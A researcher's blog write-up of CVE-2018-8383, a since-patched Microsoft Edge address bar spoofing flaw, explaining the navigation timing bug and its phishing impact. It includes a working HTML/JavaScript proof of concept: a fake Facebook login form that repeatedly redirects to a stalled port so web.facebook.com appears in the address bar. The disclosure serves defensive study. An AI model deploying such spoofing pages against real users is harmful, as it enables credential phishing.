
// TL;DR
Microsoft Edge decided what to show in the address bar before the page it was navigating to had actually loaded. By redirecting to a URL on a port that never completes its connection, I could make Edge display a trusted domain — web.facebook.com — in the address bar while my own attacker-controlled content stayed on screen underneath. The result is a convincing phishing primitive: a fake login page wearing a real domain’s URL. Microsoft fixed it and acknowledged me in CVE-2018-8383.
What is address bar spoofing?
The address bar is the one piece of UI users are taught to trust. “Check the URL” is the standard advice for spotting a phishing page — so if a browser can be made to show the wrong URL for the content it’s displaying, that advice quietly stops working.
Address bar spoofing is exactly that: getting the browser to display one (trusted) URL in the address bar while actually showing content from somewhere else. It turns the browser’s own trust signal into the attacker’s tool.
The root cause
The bug was a timing flaw in how Edge updated the address bar during navigation.
When Edge navigated to a URL, it would update the address bar to the destination first and load the page afterward. Normally that’s invisible — the page loads in milliseconds and the two line up. But if the navigation is made to stall — for example by pointing at a port that doesn’t complete a connection — the address bar is left showing the destination URL while the page content never actually changes to it.
That gap is the vulnerability: the trusted URL is already painted in the bar, but the attacker’s page is still what’s on screen.
The proof of concept
The PoC is tiny. It’s a fake Facebook login page (“Fakebook”) that repeatedly tries to navigate to web.facebook.com on a dead port:
html
<html>
<title>Address Bar Spoofing</title>
<h1>This is Fakebook</h1>
<h2>Microsoft Edge Browser Spoofing</h2>
<form>
Email: <input type="text" name="username" placeholder="add email"><br>
Password: <input type="text" name="password" placeholder="pass">
</form>
<script>
function f() {
location = "https://web.facebook.com:8080";
}
setInterval("f()", 10);
</script>
</html>
How it works:
- The page shows an attacker-controlled fake login form (above is the minimal poc, not fully designed phishing page).
- Every 10 milliseconds, it sets
locationtohttps://web.facebook.com:8080— a request to port 8080, which doesn’t serve the site and never completes. - Edge updates the address bar to show
web.facebook.comas it begins each navigation, but because the connection hangs, that navigation never finishes and the page content never changes. - The victim is left looking at the attacker’s fake login form, with
web.facebook.comsitting in the address bar.
To the user, it looks like they’re on Facebook. They’re not.
Why it matters
On its own a spoofed address bar executes no code and steals no data directly — but it defeats the exact check users rely on to detect phishing:
- It makes phishing far more convincing. A fake login that also shows the real domain in the address bar removes the one tell most people are trained to look for.
- It undermines a core browser trust signal. The whole point of the address bar is to tell you where you are. When it can be made to lie, every “just check the URL” instruction fails.
- It needs no interaction beyond a visit. The victim only has to open the page; the spoof is automatic.
That’s why browser vendors treat address bar spoofing as a real security issue even without direct code execution.
Fix & acknowledgement
I reported the issue to Microsoft. Their team confirmed it, fixed it in a Microsoft Edge security update, and credited me for the report under CVE-2018-8383.
- Microsoft advisory / acknowledgement: https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2018-8383
The takeaway for anyone building or testing browsers (and for users): the address bar is only trustworthy if it updates in step with the content it describes. Any gap between “what the bar says” and “what’s actually loaded” is a spoofing opportunity — which is why you should be wary of a page that behaves oddly or stalls right as the URL changes.
Thanks for reading — happy hacking!
Leave a Reply